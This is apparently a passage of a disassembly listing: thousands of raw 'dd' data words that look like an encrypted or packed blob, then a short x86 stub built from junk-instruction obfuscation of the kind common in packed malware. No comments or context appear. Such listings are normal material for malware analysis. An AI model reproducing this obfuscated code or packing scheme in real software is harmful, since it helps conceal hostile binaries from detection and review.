		dd 0ABB139BFh, 565D0656h, 0C8697732h, 4A49216Bh, 0B6EEB937h
		dd 5DBBDBAFh, 278E3256h, 7ADA6842h, 9446484Ah, 0D5B16FBFh
		dd 61D75256h, 323A539Eh, 0E53ACE52h, 5DB6DB5Ah,	551B3256h
		dd 0E99D01B3h, 0AFEE19E3h, 0D05AB1AFh, 830A5436h, 0A32532Fh
		dd 3FBE3146h, 5DB13278h, 0AEA2BD59h, 0DEBE3256h, 0ABB1325Bh
		dd 0D5B13ABFh, 0FB4C3556h, 7F22CB5Dh, 30D173C9h, 5DBADBB1h
		dd 0B5DD3256h, 0B060369Ah, 0AB54C414h, 0C9A53E7h, 0EAB9BA59h
		dd 0F1BE3256h, 0BAB13254h, 4F585336h, 38B13256h, 4F944AEDh
		dd 3F8DC1EEh, 60204FEFh, 40828989h, 74EDBBE4h, 0BABCDB57h
		dd 0EE563256h, 0A63F55B2h, 0E7918043h, 132F28F0h, 2A4ECDA9h
		dd 0EABEBD59h, 7F583256h, 21B13256h, 962CB593h,	54912EC5h
		dd 57B48BB4h, 0CDD13256h, 3C39F0D7h, 0EAB7BF59h, 0FFBE3256h
		dd 0BAB13256h, 0A41AC137h, 514CB6BFh, 0BED0CAA9h, 0ABB13244h
		dd 0FCBC8823h, 0D1161D1Bh, 0E8FC655Ch, 2468BA5Fh, 4958C97Ah
		dd 1DB13256h, 25BB5EAh,	0E2633AD3h, 0E13E531Eh,	17D014F1h
		dd 0BCBD678Dh, 0BAB138BFh, 3016B356h, 9AFD2FAFh, 950FF374h
		dd 0A258325Eh, 0C6B13256h, 64FDE17h, 27BBDEDBh,	0B2383D03h
		dd 52B13256h, 0AEB130DAh, 0DCD05256h, 0ABBEDBBAh, 0B8A53256h
		dd 69EB8E6Eh, 2B5939ECh, 0BD68A160h, 0A175B165h, 0AEB121BFh
		dd 30B37D56h, 46683BDAh, 842C57CAh, 70B6489Ah, 0D61B38A2h
		dd 0BABCDB36h, 0DBEF3256h, 14C4FF0Ah, 78FC1B5Bh, 20BB09F1h
		dd 0EE4D3A13h, 68BE3E13h, 75B13230h, 0BAB13ABFh, 24A1F556h
		dd 4E639B3Fh, 47F4099Ch, 0ABE1B559h, 0DB583256h, 3DB13256h
		dd 459D5F96h, 6702BC76h, 6FEF3E6Eh, 52F4F51Bh, 57B13256h
		dd 0ABB13DBFh, 0B2D4BC56h, 6C1FBBBFh, 9895B17Ah, 72ACAFAFh
		dd 5DB139BFh, 2E1F2956h, 0FAD6EB65h, 0B171444h,	0D5B11CBFh
		dd 0ED3E3D56h, 7AB13256h, 0BAB133D0h, 1876CB56h, 0AEB133AAh
		dd 4358CA56h, 42B13256h, 0D5B13259h, 232615A4h,	0FBD9E6C2h
		dd 7643633Dh, 3C24D79Bh, 0AEB9B059h, 0D6BE3256h, 0ABB13254h
		dd 903A5336h, 6BD752AAh, 7AB3CEBFh, 0BAB134DAh,	5D343D56h
		dd 0CFB13256h, 5B73CA9Fh, 0A3353D56h, 0B5B13256h, 0EAB1B359h
		dd 8DD03256h, 3149CA03h, 0DCD752BAh, 0CF3FFE88h, 374DF6D5h
		dd 0BF8B3DEFh, 51BE634Ah, 0EAB13256h, 9CD15308h, 0BAB1325Bh
		dd 7D4ED2DBh, 18A07CD1h, 20E744D5h, 0B6323D2Ch,	0B5B13256h
		dd 0FE58EBDDh, 91B13256h, 0B3D375C5h, 0DD988491h, 0A334FA72h
		dd 1A23C7ECh, 0CA1A0F7Ch, 0D5B132BEh, 306856h, 7303E103h
		dd 0BAB7DBA3h, 84EE3256h, 5FC51ABDh, 0D6D1FB65h, 6C9634BEh
		dd 0E825330h, 0EAB2BD59h, 80D13256h, 46ECBB37h,	5DB0BA59h
		dd 25483256h, 0E53F09ECh, 0ABBEDB50h, 70153256h, 56D53EE8h
		dd 0AE418890h, 4DD10CC8h, 555952F3h, 2BB13256h,	0EEF6C220h
		dd 15007328h, 0AD4F451Ch, 0EAA2DB0Dh, 0ED543256h, 1C6C9BFCh
		dd 243C41BBh, 0C72ED09Ah, 0FE5A5A11h, 943253EAh, 90353D56h
		dd 8AB13254h, 42DFD2D7h, 38BE5AE5h, 5DB13254h, 2DD08FE7h
		dd 0D2BECD69h, 0ABB13269h, 0D5B137BFh, 82B80F56h, 0B232363Bh
		dd 53D1C742h, 5DB13245h, 8172E4DBh, 0FA7A452Bh,	78CC8178h
		dd 96839E30h, 8C97F9ECh, 14E984E9h, 454E9FBFh, 5DB8DBA9h
		dd 1A83256h, 0CD8A2576h, 2829E496h, 0DAB13629h,	0EAB103D2h
		dd 0A32CA56h, 3EBE325Ah, 5DB13270h, 0AEB13BBFh,	0A4EB3E56h
		dd 47D0D590h, 3C494948h, 0EAB13236h, 0A7063D36h, 34BE53AEh
		dd 5DB13250h, 1EE86036h, 124E53D7h, 0BD3F3DAAh,	3CB13256h
		dd 0EAB13247h, 44CC2BA4h, 2C418D0Eh, 713934F6h,	0F202EDEBh
		dd 4376B1BEh, 0ABB13BBFh, 6BF36D56h, 67C52625h,	9CD1BBB2h
		dd 0BAB13247h, 89BA9405h, 60E61707h, 0F05B1BC6h, 0CC79141Ah
		dd 0C2585384h, 164ECDA9h, 70A14DD5h, 0BAE6B659h, 0D8BE3256h
		dd 0AEB13257h, 56363DAAh, 57B13256h, 0D3A14DD5h, 0EAC5B759h
		dd 0F3BE3256h, 0BAB13257h, 0B44473AFh, 0AEB13247h, 0FAD83739h
		dd 49C57182h, 0D8695421h, 9327D919h, 71F6B991h,	0BAB0B859h
		dd 0D6443256h, 47443E09h, 57B132E5h, 0ABB6BC59h, 0B3D13256h
		dd 2F6EE8D7h, 71F6B937h, 0BAB0B959h, 0D6443256h, 47493E09h
		dd 57B13251h, 114D4DF5h, 3CB4F078h, 0EAB132D2h,	7258CB36h
		dd 3EB13256h, 4B6DBD4Fh, 0A1D062F0h, 57B133D2h,	0EC3AC756h
		dd 0CD313D52h, 3B13256h, 75B13245h, 91FE7F9Fh, 0D9E1798Dh
		dd 0CDBD7991h, 63500F2Eh, 20C27137h, 58BE3E09h,	0EAB13245h
		dd 75B8DB36h, 2FD43256h, 450EC2C8h, 0C8A96C24h,	7CD0F3DDh
		dd 0AD583609h, 56B13256h, 5B9288BDh, 705AB121h,	39D0CA36h
		dd 52B22229h, 0AEB121D3h, 0EFD75256h, 0CA49DE1Dh, 54D173AEh
		dd 0A9578499h, 144FB82Ch, 3344EB7Dh, 3DB0330Ah,	0D9CCDECh
		dd 5858535Bh, 0C3B13256h, 84F0AC62h, 659F83DEh,	7547C5CDh
		dd 4509D60Eh, 3D4ECDA9h, 177E8D59h, 841A3B2h, 0AE08CB37h
		dd 3CB13256h, 0EAB1325Bh, 0C94BE07Dh, 95D6C94Ah, 0FA28C867h
		dd 521AC123h, 0A84CF3BFh, 5B3152A9h, 0D1333D0Bh, 8CB13256h
		dd 1422FFEDh, 31005237h, 3C34FDD6h, 0A14D77DDh,	57B133D9h
		dd 0CB78C756h, 74005EDh, 0E5725339h, 75B133D7h,	53E1C756h
		dd 5DB1325Ah, 76E3ED40h, 23A0AE0Fh, 75E6479Eh, 0D8595207h
		dd 0AAB13256h, 0CDD316F4h, 0D5B8E82Bh, 9CB7E9AEh, 0AEB13FBFh
		dd 4C1EA856h, 774818B7h, 4620018Eh, 8BEEAF34h, 7C596436h
		dd 0FB13256h, 0AEEB3E22h, 42D0D590h, 364D6C0Dh,	0ABBDDB05h
		dd 4D3F3256h, 0E031BD5Bh, 0C865838h, 0BA5970A0h, 7B13256h
		dd 7812D8D7h, 0BED134E4h, 0ABB13251h, 4184FCF4h, 0BB9B27A6h
		dd 0F5BE5309h, 0BAB13243h, 5DB122BFh, 0E7D94756h, 281E8C10h
		dd 6D2F413Eh, 6AAC3F2h,	0EABCDB12h, 78B53256h, 691F1E95h
		dd 0B2F8413Fh, 0CEDB73BFh, 78383EEEh, 0AB363D01h, 0B4B13256h
		dd 65ACA8DBh, 0FFBE34E4h, 0BAB1325Dh, 5D393D36h, 0C8B13256h
		dd 0EFD0FCDDh, 0ABB13232h, 0D070DAA3h, 1F483256h, 7B5839DDh
		dd 47B13256h, 3CBC5075h, 0D4312D4Ch, 61CEAFC5h,	6A8ACA94h
		dd 0D5B121BFh, 43FB7756h, 5A1DA6Bh, 1266A3F9h, 0E16D4FA4h
		dd 0AC8CB948h, 57B1B3BFh, 0ABB8DB56h, 42473256h, 2E81E298h
		dd 7648FC68h, 52D1361Dh, 5DB1325Ah, 6E6A302Dh, 3E3CD117h
		dd 5473EA33h, 2CEB5336h, 0E5700937h, 75B1BCD4h,	0F1B2C756h
		dd 0D1BECE46h, 0AEB13257h, 587009AEh, 0ABB12FD4h, 0E558CA56h
		dd 3B13256h, 75B13244h,	0EE51CE9Bh, 6280688Ch, 65B43313h
		dd 2ADC71CDh, 0D558266Bh, 3CB13256h, 0EAB13259h, 18B7DDD6h
		dd 38BE04B4h, 80D9AB23h, 47618FB9h, 57B13233h, 313CCEAEh
		dd 0D3024AAFh, 0EAB120BFh, 0E8E3F056h, 19A6AAFEh, 64DCD524h
		dd 26CDFC1Dh, 0A8D35C24h, 71315285h, 6ABE6380h,	12D06895h
		dd 75B106BFh, 0B23A3D56h, 52B13256h, 0AEB130DAh, 0DAD05256h
		dd 18CD2DCCh, 0D93E3D50h, 3B13256h, 75B13251h, 98A673BAh
		dd 0A2C8B6C4h, 2FD75285h
		dd 0E9B01997h, 0CD9750C9h, 29D16937h, 8B438D59h, 75A2DB0Fh
		dd 1803256h, 0EA36CD0Bh, 0B642E68Bh, 5B73ED10h,	125DF81Eh
		dd 0D9323D33h, 0E5B13256h, 75B134D5h, 0BA313D56h, 5B13256h
		dd 0AEB0B959h, 94443256h, 2FBE67A3h, 0D5B1325Bh, 0EAB13ABFh
		dd 5B0A456h, 22FBF60h, 525DB95Fh, 0AEB133D5h, 5759CE56h
		dd 0F1B13256h, 0D3ED8D7h, 60BE34E4h, 75B1325Eh,	550B5436h
		dd 3CD05277h, 0AEB13CBFh, 3493FC56h, 13237C60h,	90659D5Bh
		dd 8A0E3F1Eh, 75B0BA59h, 0DA483256h, 5DB134BFh,	0FB4CD156h
		dd 0BEC5A9A8h, 0ABB1325Dh, 7F41B14Eh, 945FEAE7h, 145BD1FEh
		dd 35AC88DBh, 52D134E4h, 0AEB134D0h, 0C453B356h, 42FED40Fh
		dd 0D5B13251h, 578AE209h, 143CE0D2h, 4FB977DDh,	0DCD135DFh
		dd 0E8B4AD81h, 36A5801Ch, 0A4BD77DDh, 0D5B139D6h, 0EAB7DB56h
		dd 4AE93256h, 0AA630BF4h, 0A5B575DFh, 5BA177DDh, 58BD75DFh
		dd 0ABB133DEh, 62D1CB56h, 0AF3A534Eh, 693E3D42h, 0DAB13256h
		dd 5DB1BA59h, 0A1583256h, 51B13256h, 254C6034h,	0ADF0D5B0h
		dd 8A87DF2Dh, 0FCD0A129h, 3ABE2211h, 5DB13242h,	0AEBFBF59h
		dd 5E583256h, 7FB13256h, 893B5BFEh, 27D18647h, 75A0DB37h
		dd 80C33256h, 1A5918C0h, 58D5ACB7h, 9A50C6D1h, 621A1AFEh
		dd 0D5AABD59h, 6EBE3256h, 75B13243h, 0BAB122BFh, 0C7D7AB56h
		dd 74B608DBh, 2387ABDDh, 4FFE12E1h, 0D5A1F015h,	0EAA2BE59h
		dd 0F5D13256h, 0B358568Fh, 0BCB13256h, 73D569ABh, 73C9B665h
		dd 20D15237h, 50775390h, 0EC1D016Fh, 0B23A5211h, 46D0A2E4h
		dd 4AC2283Eh, 1B4ECAFEh, 511D135Bh, 0ABB0B959h,	58443256h
		dd 45D81BD3h, 0A54ECB50h, 0D56AB336h, 3CD42430h, 0AEBDDB04h
		dd 3A653256h, 3A36FBAEh, 524DA829h, 603CCCFCh, 7303A2CCh
		dd 0BAA8B059h, 0DABE3256h, 0AEB13245h, 57B13CBFh, 0B6027C56h
		dd 9E25F4D8h, 1C6AF4Dh,	24A8FCC8h, 0BAB13EBFh, 0A1274656h
		dd 0FF9CECB5h, 0D31E8FEAh, 0ABB8DB92h, 0F5133256h, 0B6CD5056h
		dd 8A1FDF95h, 0B63F3D86h, 52B13256h, 0AEB134D4h, 57373D56h
		dd 0F1B13256h, 0C90F5436h, 8B6881A3h, 0E52BB0DBh, 3DBE34E4h
		dd 5DB1325Ah, 0AEB7BC59h, 0D0BE3256h, 0ABB13256h, 0D9F18559h
		dd 0EAB120BFh, 84201356h, 23BD7B28h, 68630E67h,	787782D6h
		dd 0DC481A40h, 0A4E3CB8Eh, 0D5B133DEh, 0DBBECE56h, 75B0BF59h
		dd 0DA443256h, 5DB4B259h, 930E3256h, 58BE9A5Bh,	0F1D0C1E9h
		dd 0D5B5B459h, 8AD13256h, 0B6B25337h, 0BAB6BE59h, 0D6BE3256h
		dd 0AEB13257h, 4A33BBAEh, 42B79E4Bh, 0D5B13242h, 0AFFA9C22h
		dd 0F5678AD3h, 0C742B51Dh, 81747CC5h, 9AFC7E32h, 57A5DB37h
		dd 8553256h, 6DA2CFBFh,	0D08C01F2h, 9A63981h, 9C25A175h
		dd 0DFBE1A56h, 0AEB13250h, 0E67EB836h, 42725390h, 0D5B1325Fh
		dd 3F543FE8h, 0EF6A0D51h, 816051EBh, 0F1E08FF1h, 81F18155h
		dd 61781355h, 8C0F6052h, 18h, 13E9h, 91F69600h,	0A3069DF8h
		dd 0CF6B0CD3h, 927C437h, 747780D2h, 0B70FF960h,	0E86161FEh
		dd 0
		dd 78EA815Ah, 0E906B2DBh, 0Fh, 2499F961h, 5B73FD3h, 99EECE1h
		dd 0E909110Bh, 0Ch, 0DAAA8B9Dh,	44252CD0h, 24CAF063h, 1840Fh
		dd 52FC0000h, 1860Fh, 8BF80000h, 0AC1D1D82h, 860F6006h
		dd 2, 8B66D18Bh, 6E961FEh, 14000000h, 0DC49AE02h, 4E6DB9C8h
		dd 806041C6h, 0B5603DD7h, 9E801h, 43370000h, 0A6138369h
		dd 5914BD4Bh, 820F6161h, 8, 8B0F60h, 61000000h,	0E860E1F7h
		dd 12h,	15D8DE14h, 31321AC2h, 0F2A4C987h, 0DD2CA821h, 0B86653CBh
		dd 0B95BDC1Bh, 34CC0DFEh, 13E95A61h, 0E6000000h, 0AC148B27h
		dd 0BC5EEEF8h, 0B76EE00h, 544F9084h, 390565EBh,	0E9000030h
		dd 0Ah,	0A5E3D967h, 6DF59743h, 0FF254B4Fh, 607FFFFFh, 8F0Fh
		dd 8C0F0000h, 12h, 0DE9h, 21B31200h, 3D5A9E9Fh,	48318D9Bh
		dd 8961A2F9h, 0AC1D1D82h, 0DE96006h, 4D000000h,	0F5A00E8h
		dd 1F3816E6h, 0EE0DF1DEh, 13E9h, 0E8AF300h, 13852E07h
		dd 6D3FC9C0h, 0C34A57C1h, 0F3843C03h, 66605A61h, 2AA4D281h
		dd 860F60h, 0F5000000h,	0FC596161h, 810F60C3h, 12h, 0DE9h
		dd 0CBD16000h, 0BB7126F7h, 9544D79Dh, 8B51F027h, 516159CBh
		dd 1A820Fh, 8C0F0000h, 14h, 0FE9h, 3EA3C300h, 3B29F313h
		dd 7C47BD64h, 5D177273h, 11E9h,	6C993100h, 0AE877A4h, 0C0AFB946h
		dd 0C3EC74D5h, 0F5275FDh, 78Ah,	81666000h, 617D01C0h, 0E8FCh
		dd 815A0000h, 0B2DD22EAh, 66536006h, 0E958DA8Bh, 0Ch, 68F8D660h
		dd 92ADE732h, 0F20BD415h, 0BE961h, 40A60000h, 248E0B90h
		dd 4D25C7CEh, 0F9C88BF3h, 0FDE3E8F9h, 0E9F8FFFFh, 0Ch
		dd 588C8866h, 7FE36B50h, 3D94E03Ch, 810FD233h, 16h, 11E9h
		dd 0A2BEE300h, 2CA78A82h, 7AEBC332h, 2358D5CCh,	0F1F7090Fh
		dd 0E9C28BFCh, 12h, 6F6A3657h, 711C1213h, 8D769851h, 71BA815Eh
		dd 0F55AA2E7h, 60C3FC59h, 0DB8518BEh, 11E95Eh, 59F20000h
		dd 689537D6h, 92254A69h, 8DB2705Dh, 6189C762h, 8B0FC08Bh
		dd 0Dh,	8E9h, 219A100h,	3D88CD41h, 0FC08BF1h, 1885h, 0DE96000h
		dd 30000000h, 0EE3B8BCCh, 0D115117Fh, 7671FB26h, 0FBA5BF66h
		dd 4B858D61h, 0F806B2A4h, 0E960D0FFh, 0Bh, 9BD1D015h, 3F5F7721h
		dd 663FDAA3h, 61DC96BFh, 20820Fh, 0E8600000h, 13h, 36D02488h
		dd 1C2C792Dh, 0CB9C6B8Bh, 0B54477D0h, 5876A614h, 7BC98166h
		dd 8B6661F4h, 1C860FC1h, 0F000000h, 168Fh, 11E900h, 0A11D0000h
		dd 765EA833h, 7832EB3Bh, 0C74F99D2h, 8D529DACh,	0B2DB3D85h
		dd 0BE906h, 2C340000h, 980A1249h, 0C9DABD09h, 0A1858911h
		dd 0F06AC25h, 0B81h, 870F6000h,	0
		dd 61CB8B66h, 0DCD7858Dh, 89F806B2h, 0AC130D85h, 0F8FC6006h
		dd 0B861h, 13E90000h, 52000000h, 0E85AFB51h, 0A8C7DB57h
		dd 9016142h, 5075C324h,	0C00B2D0Eh, 156840Fh, 0C6F80000h
		dd 0AC333985h, 810F5606h, 6, 0B7C68B60h, 0DF6861F3h, 0F5A9C530h
		dd 210DB5FFh, 8D0F06ACh, 1, 858DFCF9h, 6AF6929h, 0DE960h
		dd 6EEE0000h, 0CCB5EC86h, 27CF5B1Eh, 6142F5EAh,	0B960D0FFh
		dd 1024405Bh, 850F5061h, 1, 8D8DFCFCh, 6AC2021h, 0DAB70F60h
		dd 12820Fh, 0CE80000h, 0FC000000h, 35F4BBC2h, 0B77528F2h
		dd 5B15ABBBh, 0BF605161h, 7AB284D2h, 0F046A61h,	18Ch, 890FFC00h
		dd 9, 830FF860h, 0
		dd 10006861h, 0BE90000h, 0B1000000h, 0CA5CB57Ch, 0DBE3E7E8h
		dd 0B5FF62C3h, 6AC1EC5h, 10E9h,	0B88BDB00h, 0CC4CB56Ch
		dd 0C17817E7h, 0DF3750B4h, 60D0FFCDh, 8BCE8B66h, 606061C7h
		dd 14E9h, 0B2F38600h, 0F29B2C3Eh, 0EA57E11Eh, 5FC80E45h
		dd 0D25C5D06h, 0C0B70F15h, 0DE00BF61h, 8B610FD3h, 0AC1EC5BDh
		dd 11E906h, 56400000h, 1E549449h, 0C15B4853h, 0EF0B0FB5h
		dd 3F48E5Bh, 0DE93C7Fh,	1D000000h, 21E3F515h, 0E2B44B2Fh
		dd 48518137h, 0F8C781h,	890F0000h, 11h,	0CE9h, 0E2099700h
		dd 28A5663Ah, 6333227Eh, 47C7FC11h, 2024h, 8E0F6060h, 3
		dd 61C4EF80h, 23F19D8Dh, 7E906ACh, 0CB000000h, 0F092B60Eh
		dd 38BFC63h, 8830Fh, 0F600000h,	87h, 0C00B6100h, 52840Fh
		dd 13E90000h, 0A6000000h, 4E7CD448h, 5D826738h,	76E6EFE0h
		dd 0CFC1993h, 820FABC2h, 0Dh, 8E9h, 8D8AF000h, 0CD65CCAAh
		dd 0E9008BE4h, 0Bh, 0E0171F47h,	0DAD586D9h, 0F9DEF1F1h
		dd 0F044389h, 0B8Ch, 6E900h, 78D20000h,	861AFE72h, 234CF6B9h
		dd 0FE800h, 4FB20000h, 376D6E6h, 0FC6F8DC1h, 29C9C20Ah
		dd 0CFBF0F21h, 0FE95Fh,	419F0000h, 954F37C0h, 647A5330h
		dd 61FD1712h, 13C7812Ah, 8A000068h, 3F39BEF0h, 0EE813AB5h
		dd 3AB52559h, 0FF89EB80h, 0C9816637h, 0E9587AC4h, 0Bh
		dd 0A1E04FDCh, 1CD9E698h, 81906766h, 6245DE8h, 0FC1811Ch
		dd 81496022h, 6296A6E8h, 0B8DB8172h, 816DF6DDh,	6B066DC0h
		dd 48BA6670h, 78F50F4h,	9EEF81FCh, 804AB20Ah, 0C781FDF7h
		dd 4AB20A9Ah, 0AA0BB966h, 0A8850F4Eh, 8BFFFFFFh, 1E8D8DD0h
		dd 5106B2E2h, 4EC738BEh, 8D895E3Ah, 6AC2F0Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 3C35646h, 67216B7Eh
		dd 0C6EBDFA5h, 3DBD312Fh, 0C706AC14h, 0AC1E0585h, 74B406h
		dd 8B66FC00h, 0F185C7F8h, 6AC27h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0DAFCC350h, 89E19872h, 13E9h, 0F1C84000h, 70412F77h
		dd 21A1FBF6h, 9A9762BDh, 0D00ADA24h, 271DB5FFh,	6A06ACh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0FFD14AC3h, 0AC0BF995h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 6C567D1Ch
		dd 6AB11ADBh, 4595FF00h, 8B06AC21h, 8D2EEBC0h, 0B6B75AD8h
		dd 0F170D259h, 23D0170Fh, 0EAE65B87h, 43CBEDCEh, 0E444C8DDh
		dd 2C26DE6h, 1BE2B09Ch,	265FB2Ah, 0CEBD1595h, 9E9E7BEh
		dd 0CB8D8D5Ch, 8906B2E2h, 0AC255195h, 0D8D8906h, 8906AC2Fh
		dd 0AC1B61BDh, 585C706h, 4406AC1Eh, 89000061h, 0AC05358Dh
		dd 0F185C706h, 6AC27h, 8B000000h, 0A1B5FFC3h, 3306AC2Dh
		dd 0AC149585h, 0F995FF06h, 6A06AC0Bh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 50C350h
		dd 0E0664F32h, 850F871Eh, 4, 0E32CBE66h, 95FF006Ah, 6AC2145h
		dd 28EBC08Bh, 0AAEC2D7Bh, 0DEF6D95h, 0C0F29D0Ch, 0ECF7E1BEh
		dd 6D617654h, 3E390603h, 9B90F069h, 0E7EAE996h,	0AD6CF055h
		dd 0E8610B39h, 0E35A8D8Dh, 0BF0F06B2h, 0D8D89D2h, 8B06AC2Fh
		dd 585C7FBh, 7006AC1Eh,	0F5000058h, 27F185C7h, 6ACh, 61600000h
		dd 0EA1B5FFh, 6A06ACh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0BD8B8EC3h, 6AC2429h, 0BF995FFh
		dd 48BB06ACh, 6A3034D4h, 4595FF00h, 8B06AC21h, 0C27EEBC0h
		dd 0C4EC879Eh, 0BADE26BAh, 2FD27E58h, 8FD37432h, 0D998FA76h
		dd 0EDE1140Eh, 4556E474h, 0D88EB7A2h, 6CBC6AA5h, 5CD0AAD9h
		dd 381D4DD7h, 4BF913CCh, 9E43360Eh, 49742016h, 7151086Ah
		dd 8FDDC84Ch, 0B1F8BD0h, 0CF9D635Fh, 4390C8A9h,	68DFEC50h
		dd 0AC8EA3D3h, 270AAB9Ah, 0B21461FFh, 0EFFB6429h, 3A72DC8Bh
		dd 47E82A96h, 0F6649EE1h, 0CDE1F487h, 0C0AB28A8h, 35CBFFF1h
		dd 3FBC8B0Fh, 0C88D8D26h, 6A06B2E4h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0A46EC355h
		dd 8CA35999h, 8D8589E5h, 8906AC05h, 0AC2F0D8Dh,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0FD44FF24h, 99345900h, 1E0585C7h, 604006ACh,	6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 5E50E5C3h, 0BE66766Eh, 0D88B4F24h, 27F185C7h, 6ACh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0A71414C3h, 1B5FFC6h, 8906AC28h, 0AC1A3D85h
		dd 0F995FF06h, 6A06AC0Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 610FC353h, 0B70F5404h
		dd 0FF006AC6h, 0AC214595h, 0EBC08B06h, 0CE5E300Eh, 0DF1934D9h
		dd 0D24233Fh, 0E9E2B9E3h, 2Ch, 0DD8FC71h, 0Ah dup(0)
		dd 489E9h, 0E61A6800h, 5E906B2h, 68FFF999h, 6B2E67Eh, 0F998FBE9h
		dd 0E7CE68FFh, 0F1E906B2h, 71FFF998h, 17A7669Eh, 0B303C2FAh
		dd 0D060A15Dh, 8D3DFC38h, 1A67A65Eh, 8945A4E3h,	0D60EF848h
		dd 934BA717h, 0CD09E252h, 0A714450Ch, 0E8E05071h, 0F84899BEh
		dd 0B11BDB13h, 0AF5EB438h, 0E801B777h, 311FD730h, 3D5195F0h
		dd 916B915Dh, 0E0331DBDh, 2FE701B1h, 83495A6h, 5579E52Fh
		dd 7E82095h, 0AE8AF63Fh, 61A226C2h, 0DAA639EFh,	77000002h
		dd 0FEEF2BC7h, 9E28E8C6h, 0DC76B66Eh, 0CBF77BF2h, 0CBA1659Dh
		dd 10F94918h, 0EF6E5DD4h, 0BCE52F43h, 0A1124390h, 0F63F696Bh
		dd 3DAE9CB0h, 0BDEA0881h, 0C3B2B917h, 0BB32C8B2h, 2235C988h
		dd 4822E6F3h, 3071289Bh, 92BEE941h, 0FC1CF141h,	0BB11D10Dh
		dd 76FF5595h, 7913D7B4h, 69BE19AAh, 2F03EFEDh, 0CA1EADFCh
		dd 1700FD8Fh, 0D363B23Bh, 0F343823Ah, 10AE21Ah,	0F36C7A2Eh
		dd 2D283CFh, 0A9440000h, 0EF1CAC6Dh, 0A846F637h, 0ED1DAD6Ch
		dd 0A940F031h, 28D1AC6Dh, 0F938F41Bh, 0A6679F49h, 3C2FA16h
		dd 63A25AB3h, 94C87B2Ah, 0D9E8E04Fh, 4F8B72FEh,	3B15D139h
		dd 11255BE8h, 62AE526h,	4E8665D5h, 0ED74DE8Fh, 3123EBEAh
		dd 2FDEEE67h, 498237F7h, 0B3F64574h, 474AA25Ah,	0B961C213h
		dd 26EC985h, 0CD200000h, 8B60D011h, 0CC229253h,	8961D110h
		dd 0CD3C8C4Dh, 54ADD011h, 0FD3CF817h, 0A2639B4Dh, 7C6FE12h
		dd 5F9E56B7h, 0A0F44716h, 0EDE8E04Fh, 4F8B46CAh, 0B011E623h
		dd 0A546475Ah, 2D03A969h, 153BF31Fh, 383F75C6h,	604CE525h
		dd 41BB15A0h, 9BBFF645h, 0BF9713EFh, 9A9D39F6h,	11000001h
		dd 0B171AD5Eh, 0D004B7E6h, 1DEF9335h, 5F88B831h, 0CD9FCBA1h
		dd 9DAF7C1Fh, 0DE74B470h, 905431F0h, 0D27829FAh, 0F89906DBh
		dd 8FC5F4E0h, 0DCEF92C3h, 1BA879F0h, 0E52EB646h, 0B3E95A8Bh
		dd 0F8F63EE2h, 8F3AFAD4h, 0F63EE255h, 89650125h, 39EF180Dh
		dd 4607h, 4F8B8B00h, 88520E23h,	51795F69h, 36962B04h, 0B7644AF5h
		dd 0B0FF55E6h, 604CEF92h, 3A8B38E9h, 3E52EB6h, 0B40ADEA9h
		dd 0C04924F9h, 9A2AF9D5h, 0F331B874h, 3E810E46h, 9CC8ECF6h
		dd 0EFFAC440h, 96CC39h,	5E400000h, 7B171ADh, 1ED630E8h
		dd 9A5A74DEh, 0C303BB2Ch, 99589475h, 733362C8h,	56770201h
		dd 27D2ECDFh, 11FAEF93h, 0B57114D5h, 76BF0CDFh,	7BE522D1h
		dd 0D5348457h, 0D889D819h, 0A42A1E72h, 0ECDDBCDDh, 0F641E9B8h
		dd 90A02905h, 4255BD79h, 9861BE88h, 11EE8A4h, 7D900000h
		dd 0DB308041h, 0BC52E223h, 9971C100h, 0BD2C9C5Dh, 44BDC001h
		dd 0ED2CE807h, 0B273AB5Dh, 0F736EE02h, 0AF6EA647h, 0D004B7E6h
		dd 1DE8E04Eh, 0AF5EB63Ah, 0E506B677h, 0DD1DD935h, 94985977h
		dd 0A271AD5Eh, 360C40F3h, 7D51EF93h, 678036F4h,	6E3F6EAFh
		dd 933587DDh, 71F8D4EFh, 0E93A5094h, 0F27BB359h, 77EB9023h
		dd 9CB0E52Fh, 414FE54Fh, 64CB01B2h, 3C10F63Fh, 6EE62E14h
		dd 92A0C846h, 0F27B0327h, 5C7C9323h, 985977AFh,	578F79C9h
		dd 0FC72197h, 419BA821h, 0ABF63FA2h, 0FB4B8A42h, 5418D814h
		dd 78h,	254F8B5Eh, 112B45F6h, 1C30E526h, 45816ADCh, 1BD33484h
		dd 6806EDBh, 0C328E91Ch, 917DCB0Bh, 9BBB9555h, 0D300B6EFh
		dd 872DC179h, 0E76EB11Eh, 13F4A9C5h, 0F23F9526h, 0A08C01AFh
		dd 0EFF4F8Eh, 48A016D6h, 0C9EB4C8Ch, 0D70FF89Dh, 0B2E65504h
		dd 0FF01AFF2h, 29995AD3h, 88C404C0h, 18h, 0E00FBF82h, 28386A22h
		dd 321C418Ch, 50FAD5BBh, 3A66B410h, 0B870EA3h, 0BB7BB35Eh
		dd 0E020DC0Dh, 0C202BA56h, 9A5A9274h, 0C101BD2Ch, 9C5C9877h
		dd 0CA0AC22Ah, 96568E7Ch, 0D313CB20h, 595451DDh, 4C181h
		dd 0E9830000h, 240C8704h
		db 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		push	edi
		mov	edi, 6B2E52Fh
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
